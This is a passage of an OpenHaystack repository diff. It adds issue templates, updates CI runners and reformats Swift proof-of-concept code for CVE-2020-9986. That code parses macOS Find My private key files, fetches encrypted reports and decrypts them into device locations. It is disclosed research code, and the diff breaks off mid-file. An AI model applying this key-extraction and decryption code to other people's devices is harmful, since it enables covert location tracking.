Using the ESP32 v4.3 branch and not the release since the release is still failing to build

The OpenHaystack UI does not expose the concept of "public key". The script `flash_esp.32` is in fact expecting the base-64 encoded advertisement key.

.github/ISSUE_TEMPLATE/bug_report.md

@@ -0,0 +1,33 @@
+---
+name: Bug report
+about: Create a report to help us improve
+title: ''
+labels: bug
+assignees: ''
+
+---
+
+**Describe the bug**
+A clear and concise description of what the bug is.
+
+**To Reproduce**
+Steps to reproduce the behavior:
+1. Go to '...'
+2. Click on '....'
+3. Scroll down to '....'
+4. See error
+
+**Expected behavior**
+A clear and concise description of what you expected to happen.
+
+**Screenshots**
+If applicable, add screenshots to help explain your problem.
+
+**OpenHaystack version:**
+[e.g. 0.3.4] (copy from _OpenHaystack → About OpenHaystack_)
+
+**macOS version:**
+[e.g. 11.3]
+
+**Additional context**
+Add any other context about the problem here.

.github/ISSUE_TEMPLATE/feature_request.md

@@ -0,0 +1,20 @@
+---
+name: Feature request
+about: Suggest an idea for this project
+title: ''
+labels: enhancement
+assignees: ''
+
+---
+
+**Is your feature request related to a problem? Please describe.**
+A clear and concise description of what the problem is. Ex. I'm always frustrated when [...]
+
+**Describe the solution you'd like**
+A clear and concise description of what you want to happen.
+
+**Describe alternatives you've considered**
+A clear and concise description of any alternative solutions or features you've considered.
+
+**Additional context**
+Add any other context or screenshots about the feature request here.

.github/ISSUE_TEMPLATE/general-question.md

@@ -0,0 +1,10 @@
+---
+name: General question
+about: Ask a question
+title: ''
+labels: question
+assignees: ''
+
+---
+
+

.github/actions/build-esp-idf/action.yaml

@@ -20,7 +20,7 @@ runs:
         sudo apt install git wget flex bison gperf python3 python3-pip python3-setuptools cmake ninja-build ccache libffi-dev libssl-dev dfu-util libusb-1.0-0
         mkdir -p /opt/esp
         cd /opt/esp
-        git clone --recursive --depth 1 --branch v4.2 https://github.com/espressif/esp-idf.git
+        git clone --recursive --depth 1 --branch release/v4.3 https://github.com/espressif/esp-idf.git
         cd /opt/esp/esp-idf
         ./install.sh
     - name: Build firmware

.github/workflows/build-app.yml

@@ -18,14 +18,14 @@ defaults:
 
 jobs:
   format-swift:
-    runs-on: macos-latest
+    runs-on: macos-11
     steps:
       - name: "Checkout code"
         uses: actions/checkout@v2
       - name: "Install swift-format"
         run: brew install swift-format
       - name: "Run swift-format"
-        run: swift-format --recursive --mode lint .
+        run: swift-format lint --recursive .
 
   format-objc:
     runs-on: macos-latest

.github/workflows/build-cve-2020-9986.yaml

@@ -16,7 +16,7 @@ defaults:
 
 jobs:
   lint-swiftlint:
-    runs-on: macos-latest
+    runs-on: macos-11
     steps:
       - name: "Checkout code"
         uses: actions/checkout@v2

.github/workflows/build-firmware.yaml

@@ -16,7 +16,7 @@ defaults:
 
 jobs:
   build-firmware:
-    runs-on: macos-latest
+    runs-on: macos-11
     steps:
       - uses: actions/checkout@v2
 

.github/workflows/release.yml

@@ -30,7 +30,7 @@ jobs:
 
   build-and-release:
     name: "Create release on GitHub"
-    runs-on: macos-latest
+    runs-on: macos-11
     env:
       APP: OpenHaystack
       PROJECT_DIR: OpenHaystack

CVE-2020-9986/OFReadKeys/OFFetchReports/AppDelegate.swift

@@ -13,30 +13,30 @@ import SwiftUI
 @main
 class AppDelegate: NSObject, NSApplicationDelegate {
 
-    var window: NSWindow!
+  var window: NSWindow!
 
-    func applicationDidFinishLaunching(_ aNotification: Notification) {
-        // Create the SwiftUI view that provides the window contents.
-        let contentView = OFFetchReportsMainView()
+  func applicationDidFinishLaunching(_ aNotification: Notification) {
+    // Create the SwiftUI view that provides the window contents.
+    let contentView = OFFetchReportsMainView()
 
-        // Create the window and set the content view.
-        window = NSWindow(
-            contentRect: NSRect(x: 0, y: 0, width: 480, height: 300),
-            styleMask: [.titled, .closable, .miniaturizable, .resizable, .fullSizeContentView],
-            backing: .buffered, defer: false)
-        window.isReleasedWhenClosed = false
-        window.center()
-        window.setFrameAutosaveName("Main Window")
-        window.contentView = NSHostingView(rootView: contentView)
-        window.makeKeyAndOrderFront(nil)
-    }
+    // Create the window and set the content view.
+    window = NSWindow(
+      contentRect: NSRect(x: 0, y: 0, width: 480, height: 300),
+      styleMask: [.titled, .closable, .miniaturizable, .resizable, .fullSizeContentView],
+      backing: .buffered, defer: false)
+    window.isReleasedWhenClosed = false
+    window.center()
+    window.setFrameAutosaveName("Main Window")
+    window.contentView = NSHostingView(rootView: contentView)
+    window.makeKeyAndOrderFront(nil)
+  }
 
-    func applicationWillTerminate(_ aNotification: Notification) {
-        // Insert code here to tear down your application
-    }
+  func applicationWillTerminate(_ aNotification: Notification) {
+    // Insert code here to tear down your application
+  }
 
-    func applicationShouldTerminateAfterLastWindowClosed(_ sender: NSApplication) -> Bool {
-        return true
-    }
+  func applicationShouldTerminateAfterLastWindowClosed(_ sender: NSApplication) -> Bool {
+    return true
+  }
 
 }

CVE-2020-9986/OFReadKeys/OFFetchReports/ContentView.swift

@@ -10,14 +10,14 @@
 import SwiftUI
 
 struct ContentView: View {
-    var body: some View {
-        Text("Hello, World!")
-            .frame(maxWidth: .infinity, maxHeight: .infinity)
-    }
+  var body: some View {
+    Text("Hello, World!")
+      .frame(maxWidth: .infinity, maxHeight: .infinity)
+  }
 }
 
 struct ContentView_Previews: PreviewProvider {
-    static var previews: some View {
-        ContentView()
-    }
+  static var previews: some View {
+    ContentView()
+  }
 }

CVE-2020-9986/OFReadKeys/OFFetchReports/FindMy/DecryptReports.swift

@@ -7,93 +7,100 @@
 //  SPDX-License-Identifier: AGPL-3.0-only
 //
 
-import Foundation
 import CryptoKit
+import Foundation
 
 struct DecryptReports {
 
-    /// Decrypt a find my report with the according key
-    /// - Parameters:
-    ///   - report: An encrypted FindMy Report
-    ///   - key: A FindMyKey
-    /// - Throws: Errors if the decryption fails
-    /// - Returns: An decrypted location report
-    static func decrypt(report: FindMyReport, with key: FindMyKey) throws -> FindMyLocationReport {
-        let payloadData = report.payload
-        let keyData = key.privateKey
+  /// Decrypt a find my report with the according key
+  /// - Parameters:
+  ///   - report: An encrypted FindMy Report
+  ///   - key: A FindMyKey
+  /// - Throws: Errors if the decryption fails
+  /// - Returns: An decrypted location report
+  static func decrypt(report: FindMyReport, with key: FindMyKey) throws -> FindMyLocationReport {
+    let payloadData = report.payload
+    let keyData = key.privateKey
 
-        let privateKey = keyData
-        let ephemeralKey = payloadData.subdata(in: 5..<62)
+    let privateKey = keyData
+    let ephemeralKey = payloadData.subdata(in: 5..<62)
 
-        guard let sharedKey = BoringSSL.deriveSharedKey(
-                fromPrivateKey: privateKey,
-                andEphemeralKey: ephemeralKey) else {
-            throw FindMyError.decryptionError(description: "Failed generating shared key")
-        }
-
-        let derivedKey = self.kdf(fromSharedSecret: sharedKey, andEphemeralKey: ephemeralKey)
-
-        print("Derived key \(derivedKey.base64EncodedString())")
-
-        let encData = payloadData.subdata(in: 62..<72)
-        let tag = payloadData.subdata(in: 72..<payloadData.endIndex)
-
-        let decryptedContent = try self.decryptPayload(payload: encData, symmetricKey: derivedKey, tag: tag)
-        let locationReport = self.decode(content: decryptedContent, report: report)
-        print(locationReport)
-        return locationReport
+    guard
+      let sharedKey = BoringSSL.deriveSharedKey(
+        fromPrivateKey: privateKey,
+        andEphemeralKey: ephemeralKey)
+    else {
+      throw FindMyError.decryptionError(description: "Failed generating shared key")
     }
 
-    /// Decrypt the payload
-    /// - Parameters:
-    ///   - payload: Encrypted payload part
-    ///   - symmetricKey: Symmetric key
-    ///   - tag: AES GCM tag
-    /// - Throws: AES GCM error
-    /// - Returns: Decrypted error
-    static func decryptPayload(payload: Data, symmetricKey: Data, tag: Data) throws -> Data {
-        let decryptionKey = symmetricKey.subdata(in: 0..<16)
-        let iv = symmetricKey.subdata(in: 16..<symmetricKey.endIndex)
+    let derivedKey = self.kdf(fromSharedSecret: sharedKey, andEphemeralKey: ephemeralKey)
 
-        print("Decryption Key \(decryptionKey.base64EncodedString())")
-        print("IV \(iv.base64EncodedString())")
+    print("Derived key \(derivedKey.base64EncodedString())")
 
-        let sealedBox = try AES.GCM.SealedBox(nonce: AES.GCM.Nonce(data: iv), ciphertext: payload, tag: tag)
-        let symKey = SymmetricKey(data: decryptionKey)
-        let decrypted = try AES.GCM.open(sealedBox, using: symKey)
+    let encData = payloadData.subdata(in: 62..<72)
+    let tag = payloadData.subdata(in: 72..<payloadData.endIndex)
 
-        return decrypted
-    }
+    let decryptedContent = try self.decryptPayload(
+      payload: encData, symmetricKey: derivedKey, tag: tag)
+    let locationReport = self.decode(content: decryptedContent, report: report)
+    print(locationReport)
+    return locationReport
+  }
 
-    static func decode(content: Data, report: FindMyReport) -> FindMyLocationReport {
-        var longitude: Int32 = 0
-        _ = withUnsafeMutableBytes(of: &longitude, {content.subdata(in: 4..<8).copyBytes(to: $0)})
-        longitude = Int32(bigEndian: longitude)
+  /// Decrypt the payload
+  /// - Parameters:
+  ///   - payload: Encrypted payload part
+  ///   - symmetricKey: Symmetric key
+  ///   - tag: AES GCM tag
+  /// - Throws: AES GCM error
+  /// - Returns: Decrypted error
+  static func decryptPayload(payload: Data, symmetricKey: Data, tag: Data) throws -> Data {
+    let decryptionKey = symmetricKey.subdata(in: 0..<16)
+    let iv = symmetricKey.subdata(in: 16..<symmetricKey.endIndex)
 
-        var latitude: Int32 = 0
-        _ = withUnsafeMutableBytes(of: &latitude, {content.subdata(in: 0..<4).copyBytes(to: $0)})
-        latitude = Int32(bigEndian: latitude)
+    print("Decryption Key \(decryptionKey.base64EncodedString())")
+    print("IV \(iv.base64EncodedString())")
 
-        var accuracy: UInt8 = 0
-        _ = withUnsafeMutableBytes(of: &accuracy, {content.subdata(in: 8..<9).copyBytes(to: $0)})
+    let sealedBox = try AES.GCM.SealedBox(
+      nonce: AES.GCM.Nonce(data: iv), ciphertext: payload, tag: tag)
+    let symKey = SymmetricKey(data: decryptionKey)
+    let decrypted = try AES.GCM.open(sealedBox, using: symKey)
 
-        let latitudeDec = Double(latitude)/10000000.0
-        let longitudeDec = Double(longitude)/10000000.0
+    return decrypted
+  }
 
-        return FindMyLocationReport(lat: latitudeDec, lng: longitudeDec, acc: accuracy, dP: report.datePublished, t: report.timestamp, c: report.confidence)
-    }
+  static func decode(content: Data, report: FindMyReport) -> FindMyLocationReport {
+    var longitude: Int32 = 0
+    _ = withUnsafeMutableBytes(of: &longitude, { content.subdata(in: 4..<8).copyBytes(to: $0) })
+    longitude = Int32(bigEndian: longitude)
 
-    static func kdf(fromSharedSecret secret: Data, andEphemeralKey ephKey: Data) -> Data {
+    var latitude: Int32 = 0
+    _ = withUnsafeMutableBytes(of: &latitude, { content.subdata(in: 0..<4).copyBytes(to: $0) })
+    latitude = Int32(bigEndian: latitude)
 
-        var shaDigest = SHA256()
-        shaDigest.update(data: secret)
-        var counter: Int32 = 1
-        let counterData = Data(Data(bytes: &counter, count: MemoryLayout.size(ofValue: counter)).reversed())
-        shaDigest.update(data: counterData)
-        shaDigest.update(data: ephKey)
+    var accuracy: UInt8 = 0
+    _ = withUnsafeMutableBytes(of: &accuracy, { content.subdata(in: 8..<9).copyBytes(to: $0) })
 
-        let derivedKey = shaDigest.finalize()
+    let latitudeDec = Double(latitude) / 10000000.0
+    let longitudeDec = Double(longitude) / 10000000.0
 
-        return Data(derivedKey)
-    }
+    return FindMyLocationReport(
+      lat: latitudeDec, lng: longitudeDec, acc: accuracy, dP: report.datePublished,
+      t: report.timestamp, c: report.confidence)
+  }
+
+  static func kdf(fromSharedSecret secret: Data, andEphemeralKey ephKey: Data) -> Data {
+
+    var shaDigest = SHA256()
+    shaDigest.update(data: secret)
+    var counter: Int32 = 1
+    let counterData = Data(
+      Data(bytes: &counter, count: MemoryLayout.size(ofValue: counter)).reversed())
+    shaDigest.update(data: counterData)
+    shaDigest.update(data: ephKey)
+
+    let derivedKey = shaDigest.finalize()
+
+    return Data(derivedKey)
+  }
 }

CVE-2020-9986/OFReadKeys/OFFetchReports/FindMy/FindMyController.swift

@@ -7,218 +7,232 @@
 //  SPDX-License-Identifier: AGPL-3.0-only
 //
 
+import Combine
 import Foundation
 import SwiftUI
-import Combine
 
 class FindMyController: ObservableObject {
-    static let shared = FindMyController()
+  static let shared = FindMyController()
 
-    @Published var error: Error?
-    @Published var devices = [FindMyDevice]()
+  @Published var error: Error?
+  @Published var devices = [FindMyDevice]()
 
-    func loadPrivateKeys(from data: Data, with searchPartyToken: Data, completion: @escaping (Error?) -> Void) {
+  func loadPrivateKeys(
+    from data: Data, with searchPartyToken: Data, completion: @escaping (Error?) -> Void
+  ) {
+    do {
+      let devices = try PropertyListDecoder().decode([FindMyDevice].self, from: data)
+
+      self.devices.append(contentsOf: devices)
+      self.fetchReports(with: searchPartyToken, completion: completion)
+    } catch {
+      self.error = FindMyErrors.decodingPlistFailed(message: String(describing: error))
+    }
+  }
+
+  func importReports(reports: [FindMyReport], and keys: Data, completion: @escaping () -> Void)
+    throws
+  {
+    var devices = try PropertyListDecoder().decode([FindMyDevice].self, from: keys)
+
+    // Decrypt the reports with the imported keys
+    DispatchQueue.global(qos: .background).async {
+      // Add the reports to the according device by finding the right key for the report
+      for report in reports {
+
+        guard
+          let deviceIndex = devices.firstIndex(where: { (device) -> Bool in
+            device.keys.contains { (key) -> Bool in
+              key.hashedKey.base64EncodedString() == report.id
+            }
+          })
+        else {
+          print("No device found for id")
+          continue
+        }
+        if var reports = devices[deviceIndex].reports {
+          reports.append(report)
+          devices[deviceIndex].reports = reports
+        } else {
+          devices[deviceIndex].reports = [report]
+        }
+      }
+      self.devices = devices
+
+      // Decrypt the reports
+      self.decryptReports {
+        self.exportDevices()
+        DispatchQueue.main.async {
+          completion()
+        }
+      }
+
+    }
+  }
+
+  func importDevices(devices: Data) throws {
+    var devices = try PropertyListDecoder().decode([FindMyDevice].self, from: devices)
+
+    // Delete the decrypted reports
+    for idx in devices.startIndex..<devices.endIndex {
+      devices[idx].decryptedReports = nil
+    }
+
+    self.devices = devices
+
+    // Decrypt reports again with additional information
+    self.decryptReports {
+
+    }
+  }
+
+  func fetchReports(with searchPartyToken: Data, completion: @escaping (Error?) -> Void) {
+
+    DispatchQueue.global(qos: .background).async {
+      let fetchReportGroup = DispatchGroup()
+
+      let fetcher = ReportsFetcher()
+
+      var devices = self.devices
+      for deviceIndex in 0..<devices.count {
+        fetchReportGroup.enter()
+        devices[deviceIndex].reports = []
+
+        // Only use the newest keys for testing
+        let keys = devices[deviceIndex].keys
+
+        let keyHashes = keys.map({ $0.hashedKey.base64EncodedString() })
+
+        // 21 days
+        let duration: Double = (24 * 60 * 60) * 21
+        let startDate = Date() - duration
+
+        fetcher.query(
+          forHashes: keyHashes,
+          start: startDate,
+          duration: duration,
+          searchPartyToken: searchPartyToken
+        ) { jd in
+          guard let jsonData = jd else {
+            fetchReportGroup.leave()
+            return
+          }
+
+          do {
+            // Decode the report
+            let report = try JSONDecoder().decode(FindMyReportResults.self, from: jsonData)
+            devices[deviceIndex].reports = report.results
+
+          } catch {
+            print("Failed with error \(error)")
+            devices[deviceIndex].reports = []
+          }
+          fetchReportGroup.leave()
+        }
+
+      }
+
+      // Completion Handler
+      fetchReportGroup.notify(queue: .main) {
+        print("Finished loading the reports. Now decrypt them")
+
+        // Export the reports to the desktop
+        var reports = [FindMyReport]()
+        for device in devices {
+          for report in device.reports! {
+            reports.append(report)
+          }
+        }
+
+        #if EXPORT
+          if let encoded = try? JSONEncoder().encode(reports) {
+            let outputDirectory = FileManager.default.urls(
+              for: .desktopDirectory, in: .userDomainMask
+            ).first!
+            try? encoded.write(to: outputDirectory.appendingPathComponent("reports.json"))
+          }
+        #endif
+
+        DispatchQueue.main.async {
+          self.devices = devices
+
+          self.decryptReports {
+            completion(nil)
+          }
+
+        }
+      }
+    }
+
+  }
+
+  func decryptReports(completion: () -> Void) {
+    print("Decrypting reports")
+
+    // Iterate over all devices
+    for deviceIdx in 0..<devices.count {
+      devices[deviceIdx].decryptedReports = []
+      let device = devices[deviceIdx]
+
+      // Map the keys in a dictionary for faster access
+      guard let reports = device.reports else { continue }
+      let keyMap = device.keys.reduce(
+        into: [String: FindMyKey](), { $0[$1.hashedKey.base64EncodedString()] = $1 })
+
+      let accessQueue = DispatchQueue(
+        label: "threadSafeAccess",
+        qos: .userInitiated,
+        attributes: .concurrent,
+        autoreleaseFrequency: .workItem, target: nil)
+      var decryptedReports = [FindMyLocationReport](
+        repeating:
+          FindMyLocationReport(lat: 0, lng: 0, acc: 0, dP: Date(), t: Date(), c: 0),
+        count: reports.count)
+      DispatchQueue.concurrentPerform(iterations: reports.count) { (reportIdx) in
+        let report = reports[reportIdx]
+        guard let key = keyMap[report.id] else { return }
         do {
-            let devices = try PropertyListDecoder().decode([FindMyDevice].self, from: data)
-
-            self.devices.append(contentsOf: devices)
-            self.fetchReports(with: searchPartyToken, completion: completion)
+          // Decrypt the report
+          let locationReport = try DecryptReports.decrypt(report: report, with: key)
+          accessQueue.async(flags: .barrier) {
+            decryptedReports[reportIdx] = locationReport
+          }
         } catch {
-            self.error = FindMyErrors.decodingPlistFailed(message: String(describing: error))
+          return
         }
+      }
+
+      accessQueue.sync {
+        devices[deviceIdx].decryptedReports = decryptedReports
+      }
     }
 
-    func importReports(reports: [FindMyReport], and keys: Data, completion:@escaping () -> Void) throws {
-        var devices = try PropertyListDecoder().decode([FindMyDevice].self, from: keys)
+    completion()
 
-        // Decrypt the reports with the imported keys
-        DispatchQueue.global(qos: .background).async {
-            // Add the reports to the according device by finding the right key for the report
-            for report in reports {
+  }
 
-                guard let deviceIndex = devices.firstIndex(where: { (device) -> Bool in
-                    device.keys.contains { (key) -> Bool in
-                        key.hashedKey.base64EncodedString() == report.id
-                    }
-                }) else {
-                    print("No device found for id")
-                    continue
-                }
-                if var reports = devices[deviceIndex].reports {
-                    reports.append(report)
-                    devices[deviceIndex].reports = reports
-                } else {
-                    devices[deviceIndex].reports = [report]
-                }
-            }
-            self.devices = devices
+  func exportDevices() {
 
-            // Decrypt the reports
-            self.decryptReports {
-                self.exportDevices()
-                DispatchQueue.main.async {
-                    completion()
-                }
-            }
-
-        }
-    }
-
-    func importDevices(devices: Data) throws {
-        var devices = try PropertyListDecoder().decode([FindMyDevice].self, from: devices)
-
-        // Delete the decrypted reports
-        for idx in devices.startIndex..<devices.endIndex {
-            devices[idx].decryptedReports = nil
-        }
-
-        self.devices = devices
-
-        // Decrypt reports again with additional information 
-        self.decryptReports {
-
-        }
-    }
-
-    func fetchReports(with searchPartyToken: Data, completion: @escaping (Error?) -> Void) {
-
-        DispatchQueue.global(qos: .background).async {
-            let fetchReportGroup = DispatchGroup()
-
-            let fetcher = ReportsFetcher()
-
-            var devices = self.devices
-            for deviceIndex in 0..<devices.count {
-                fetchReportGroup.enter()
-                devices[deviceIndex].reports = []
-
-                // Only use the newest keys for testing
-                let keys = devices[deviceIndex].keys
-
-                let keyHashes = keys.map({$0.hashedKey.base64EncodedString()})
-
-                // 21 days
-                let duration: Double =  (24 * 60 * 60) * 21
-                let startDate = Date() - duration
-
-                fetcher.query(forHashes: keyHashes,
-                              start: startDate,
-                              duration: duration,
-                              searchPartyToken: searchPartyToken) { jd in
-                    guard let jsonData = jd else {
-                        fetchReportGroup.leave()
-                        return
-                    }
-
-                    do {
-                        // Decode the report
-                        let report = try JSONDecoder().decode(FindMyReportResults.self, from: jsonData)
-                        devices[deviceIndex].reports = report.results
-
-                    } catch {
-                        print("Failed with error \(error)")
-                        devices[deviceIndex].reports = []
-                    }
-                    fetchReportGroup.leave()
-                }
-
-            }
-
-            // Completion Handler
-            fetchReportGroup.notify(queue: .main) {
-                print("Finished loading the reports. Now decrypt them")
-
-                // Export the reports to the desktop
-                var reports = [FindMyReport]()
-                for device in devices {
-                    for report in device.reports! {
-                        reports.append(report)
-                    }
-                }
-
-                #if EXPORT
-                if let encoded = try? JSONEncoder().encode(reports) {
-                    let outputDirectory = FileManager.default.urls(for: .desktopDirectory, in: .userDomainMask).first!
-                    try? encoded.write(to: outputDirectory.appendingPathComponent("reports.json"))
-                }
-                #endif
-
-                DispatchQueue.main.async {
-                    self.devices = devices
-
-                    self.decryptReports {
-                        completion(nil)
-                    }
-
-                }
-            }
-        }
-
-    }
-
-    func decryptReports(completion: () -> Void) {
-        print("Decrypting reports")
-
-        // Iterate over all devices
-        for deviceIdx in 0..<devices.count {
-            devices[deviceIdx].decryptedReports = []
-            let device = devices[deviceIdx]
-
-            // Map the keys in a dictionary for faster access
-            guard let reports = device.reports else {continue}
-            let keyMap = device.keys.reduce(into: [String: FindMyKey](), {$0[$1.hashedKey.base64EncodedString()] = $1})
-
-            let accessQueue = DispatchQueue(label: "threadSafeAccess",
-                                            qos: .userInitiated,
-                                            attributes: .concurrent,
-                                            autoreleaseFrequency: .workItem, target: nil)
-            var decryptedReports = [FindMyLocationReport](repeating:
-                FindMyLocationReport(lat: 0, lng: 0, acc: 0, dP: Date(), t: Date(), c: 0),
-                count: reports.count)
-            DispatchQueue.concurrentPerform(iterations: reports.count) { (reportIdx) in
-                let report = reports[reportIdx]
-                guard let key = keyMap[report.id] else {return}
-                do {
-                    // Decrypt the report
-                    let locationReport = try DecryptReports.decrypt(report: report, with: key)
-                    accessQueue.async(flags: .barrier) {
-                        decryptedReports[reportIdx] = locationReport
-                    }
-                } catch {
-                    return
-                }
-            }
-
-            accessQueue.sync {
-                devices[deviceIdx].decryptedReports = decryptedReports
-            }
-        }
-
-        completion()
-
-    }
-
-    func exportDevices() {
-
-        if let encoded = try? PropertyListEncoder().encode(self.devices) {
-            let outputDirectory = FileManager.default.urls(for: .desktopDirectory, in: .userDomainMask).first!
-            try? encoded.write(to: outputDirectory.appendingPathComponent("devices-\(Date()).plist"))
-        }
+    if let encoded = try? PropertyListEncoder().encode(self.devices) {
+      let outputDirectory = FileManager.default.urls(for: .desktopDirectory, in: .userDomainMask)
+        .first!
+      try? encoded.write(to: outputDirectory.appendingPathComponent("devices-\(Date()).plist"))
     }
+  }
 
 }
 
 struct FindMyControllerKey: EnvironmentKey {
-    static var defaultValue: FindMyController = .shared
+  static var defaultValue: FindMyController = .shared
 }
 
 extension EnvironmentValues {
-    var findMyController: FindMyController {
-        get {self[FindMyControllerKey.self]}
-        set {self[FindMyControllerKey.self] = newValue}
-    }
+  var findMyController: FindMyController {
+    get { self[FindMyControllerKey.self] }
+    set { self[FindMyControllerKey.self] = newValue }
+  }
 }
 
 enum FindMyErrors: Error {
-    case decodingPlistFailed(message: String)
+  case decodingPlistFailed(message: String)
 }

CVE-2020-9986/OFReadKeys/OFFetchReports/FindMy/FindMyKeyDecoder.swift

@@ -7,109 +7,110 @@
 //  SPDX-License-Identifier: AGPL-3.0-only
 //
 
-import Foundation
 import CryptoKit
+import Foundation
 
 /// Decode key files found in newer macOS versions.
 class FindMyKeyDecoder {
-    /// Key files can be in different format.
-    /// The old <= 10.15.3 have been using normal plists.
-    /// Newer once use a binary format which needs different parsing
-    enum KeyFileFormat {
-        // swiftlint:disable identifier_name
-        /// Catalina > 10.15.4 key file format | Big Sur 11.0 Beta 1 uses a similar key
-        /// file format that can be parsed identically.
-        /// macOS 10.15.7 uses a new key file format that has not been reversed yet.
-        /// (The key files are protected by sandboxing and only usable from a SIP disabled)
-        case catalina_10_15_4
+  /// Key files can be in different format.
+  /// The old <= 10.15.3 have been using normal plists.
+  /// Newer once use a binary format which needs different parsing
+  enum KeyFileFormat {
+    // swiftlint:disable identifier_name
+    /// Catalina > 10.15.4 key file format | Big Sur 11.0 Beta 1 uses a similar key
+    /// file format that can be parsed identically.
+    /// macOS 10.15.7 uses a new key file format that has not been reversed yet.
+    /// (The key files are protected by sandboxing and only usable from a SIP disabled)
+    case catalina_10_15_4
+  }
+
+  var fileFormat: KeyFileFormat?
+
+  func parse(keyFile: Data) throws -> [FindMyKey] {
+    // Detect the format at first
+    if fileFormat == nil {
+      try self.checkFormat(for: keyFile)
+    }
+    guard let format = self.fileFormat else {
+      throw ParsingError.unsupportedFormat
     }
 
-    var fileFormat: KeyFileFormat?
+    switch format {
+    case .catalina_10_15_4:
+      let keys = try self.parseBinaryKeyFiles(from: keyFile)
+      return keys
+    }
+  }
 
-    func parse(keyFile: Data) throws -> [FindMyKey] {
-        // Detect the format at first
-        if fileFormat == nil {
-            try self.checkFormat(for: keyFile)
-        }
-        guard let format = self.fileFormat else {
-            throw ParsingError.unsupportedFormat
-        }
-
-        switch format {
-        case .catalina_10_15_4:
-            let keys = try self.parseBinaryKeyFiles(from: keyFile)
-            return keys
-        }
+  func checkFormat(for keyFile: Data) throws {
+    // Key files need to start with KEY = 0x4B 45 59
+    let magicBytes = keyFile.subdata(in: 0..<3)
+    guard magicBytes == Data([0x4b, 0x45, 0x59]) else {
+      throw ParsingError.wrongMagicBytes
     }
 
-    func checkFormat(for keyFile: Data) throws {
-        // Key files need to start with KEY = 0x4B 45 59
-        let magicBytes = keyFile.subdata(in: 0..<3)
-        guard magicBytes == Data([0x4b, 0x45, 0x59]) else {
-            throw ParsingError.wrongMagicBytes
-        }
+    // Detect zeros
+    let potentialZeros = keyFile[15..<31]
+    guard potentialZeros == Data(repeating: 0x00, count: 16) else {
+      throw ParsingError.wrongFormat
+    }
+    // Should be big sur
+    self.fileFormat = .catalina_10_15_4
+  }
 
-        // Detect zeros
-        let potentialZeros = keyFile[15..<31]
-        guard potentialZeros == Data(repeating: 0x00, count: 16) else {
-            throw ParsingError.wrongFormat
-        }
-        // Should be big sur
-        self.fileFormat = .catalina_10_15_4
+  fileprivate func parseBinaryKeyFiles(from keyFile: Data) throws -> [FindMyKey] {
+    var keys = [FindMyKey]()
+    // First key starts at 32
+    var i = 32
+
+    while i + 117 < keyFile.count {
+      // We could not identify what those keys were
+      _ = keyFile.subdata(in: i..<i + 32)
+      i += 32
+      if keyFile[i] == 0x00 {
+        // Public key only.
+        // No need to parse it. Just skip to the next key
+        i += 86
+        continue
+      }
+
+      guard keyFile[i] == 0x01 else {
+        throw ParsingError.wrongFormat
+      }
+      // Step over 0x01
+      i += 1
+      // Read the key (starting with 0x04)
+      let fullKey = keyFile.subdata(in: i..<i + 85)
+      i += 85
+      // Create the sub keys. No actual need,
+      // but we do that to put them into a similar format as used before 10.15.4
+
+      let advertisedKey = fullKey.subdata(in: 1..<29)
+      let yCoordinate = fullKey.subdata(in: 29..<57)
+
+      var shaDigest = SHA256()
+      shaDigest.update(data: advertisedKey)
+      let hashedKey = Data(shaDigest.finalize())
+
+      let fmKey = FindMyKey(
+        advertisedKey: advertisedKey,
+        hashedKey: hashedKey,
+        privateKey: fullKey,
+        startTime: nil,
+        duration: nil,
+        pu: nil,
+        yCoordinate: yCoordinate,
+        fullKey: fullKey)
+
+      keys.append(fmKey)
     }
 
-    fileprivate func parseBinaryKeyFiles(from keyFile: Data) throws -> [FindMyKey] {
-        var keys = [FindMyKey]()
-        // First key starts at 32
-        var i = 32
+    return keys
+  }
 
-        while i + 117 < keyFile.count {
-            // We could not identify what those keys were
-            _ = keyFile.subdata(in: i..<i+32)
-            i += 32
-            if keyFile[i] == 0x00 {
-                // Public key only.
-                // No need to parse it. Just skip to the next key
-                i += 86
-                continue
-            }
-
-            guard keyFile[i] == 0x01 else {
-                throw ParsingError.wrongFormat
-            }
-            // Step over 0x01
-            i+=1
-            // Read the key (starting with 0x04)
-            let fullKey = keyFile.subdata(in: i..<i+85)
-            i += 85
-            // Create the sub keys. No actual need,
-            // but we do that to put them into a similar format as used before 10.15.4
-
-            let advertisedKey = fullKey.subdata(in: 1..<29)
-            let yCoordinate = fullKey.subdata(in: 29..<57)
-
-            var shaDigest = SHA256()
-            shaDigest.update(data: advertisedKey)
-            let hashedKey = Data(shaDigest.finalize())
-
-            let fmKey = FindMyKey(advertisedKey: advertisedKey,
-                                  hashedKey: hashedKey,
-                                  privateKey: fullKey,
-                                  startTime: nil,
-                                  duration: nil,
-                                  pu: nil,
-                                  yCoordinate: yCoordinate,
-                                  fullKey: fullKey)
-
-            keys.append(fmKey)
-        }
-
-        return keys
-    }
-
-    enum ParsingError: Error {
-        case wrongMagicBytes
-        case wrongFormat
-        case unsupportedFormat
-    }
+  enum ParsingError: Error {
+    case wrongMagicBytes
+    case wrongFormat
+    case unsupportedFormat
+  }
 }

CVE-2020-9986/OFReadKeys/OFFetchReports/FindMy/Models.swift

@@ -9,191 +9,195 @@
 
 // swiftlint:disable identifier_name
 
-import Foundation
 import CoreLocation
+import Foundation
 
 struct FindMyDevice: Codable, Hashable {
 
-    let deviceId: String
-    var keys = [FindMyKey]()
+  let deviceId: String
+  var keys = [FindMyKey]()
 
-    var catalinaBigSurKeyFiles: [Data]?
+  var catalinaBigSurKeyFiles: [Data]?
 
-    /// KeyHash: Report results
-    var reports: [FindMyReport]?
+  /// KeyHash: Report results
+  var reports: [FindMyReport]?
 
-    var decryptedReports: [FindMyLocationReport]?
+  var decryptedReports: [FindMyLocationReport]?
 
-    func hash(into hasher: inout Hasher) {
-        hasher.combine(deviceId)
-    }
+  func hash(into hasher: inout Hasher) {
+    hasher.combine(deviceId)
+  }
 
-    static func == (lhs: FindMyDevice, rhs: FindMyDevice) -> Bool {
-        lhs.deviceId == rhs.deviceId
-    }
+  static func == (lhs: FindMyDevice, rhs: FindMyDevice) -> Bool {
+    lhs.deviceId == rhs.deviceId
+  }
 }
 
 struct FindMyKey: Codable {
-    internal init(advertisedKey: Data, hashedKey: Data, privateKey: Data, startTime: Date?, duration: Double?, pu: Data?, yCoordinate: Data?, fullKey: Data?) {
-        self.advertisedKey = advertisedKey
-        self.hashedKey = hashedKey
-        // The private key should only be 28 bytes long. If a 85 bytes full private public key is entered we truncate it here
-        if privateKey.count == 85 {
-            self.privateKey = privateKey.subdata(in: 57..<privateKey.endIndex)
-        } else {
-            self.privateKey = privateKey
-        }
-
